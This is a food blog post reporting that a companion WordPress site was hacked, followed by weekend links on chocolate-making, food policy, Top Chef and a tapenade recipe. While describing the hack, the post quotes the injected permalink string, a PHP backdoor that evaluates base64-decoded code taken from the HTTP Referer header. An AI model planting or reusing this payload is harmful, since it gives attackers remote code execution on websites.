Around the Internet Kitchen: Hacked!

Last weekend, there was some silly hacker who figured out how to bypass all of WordPress’s security measures and hack into a LOT of self-hosted WordPress accounts… including one of mine.

Not Macheesmo luckily, but they did manage to worm their way into Foodie Fights – the site I run with Dan. I noticed it when a reader brought it to my attention that all of the permalinks to individual posts were not working.

At first I thought it was odd that Dan changed all of the permalinks to look like this:

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/…

After a quick google search though I realized that I was one of the unlucky thousands that had been hacked.

Anyway, if you happen to run a self-hosted WordPress site, be sure to upgrade to 2.8.4 as soon as possible if you haven’t already. It’s kind of a pain to fix if you are hacked. If you’ve already been cyber-robbed, the instructions I used to fix Foodie Fights were on Journey Etc. The comments were helpful also.

No poll this week because I’m going to be out of town and away from the kitchen this weekend. Here are a few links though!

XOCO’s ChocolateAt Rick Bayless’s new restaurant in Chicago, they are making chocolate from scratch. This better be GOOD for all the work it involves. I’m sure it’s worth it. (@ Time Out Chicago)

Big Food vs. Big Insurance – A great opinion by Michael Pollan. He presents a really fascinating argument that if health care reform is passed, the insurance companies will actually line to up tackle the obesity epidemic. Right now they have no incentive to do that, but the reform would give them the proper incentives to work toward getting healthier food options for America. (@ NY Times)

Top Chef Exit Interview – Ok. Don’t click this link if you watch Top Chef but haven’t watched the most recent one. It’s a crazy surprise! I’m totally getting into this season. If you watch it, Jennifer is definitely my horse. She’s got the skills and calm professionalism to win it I think. Also, since the first 4/5 people eliminated were female, that basically assures that a female will win it. (@ Endless Simmer)

Artichoke Tapenade – An awesome end of summer appetizer! This is one of those recipes that’s been passed around the food blog world, but I like this write up on the dish. (@ David Lebovitz)

Have a great weekend!

Photo by Eric M Martin.

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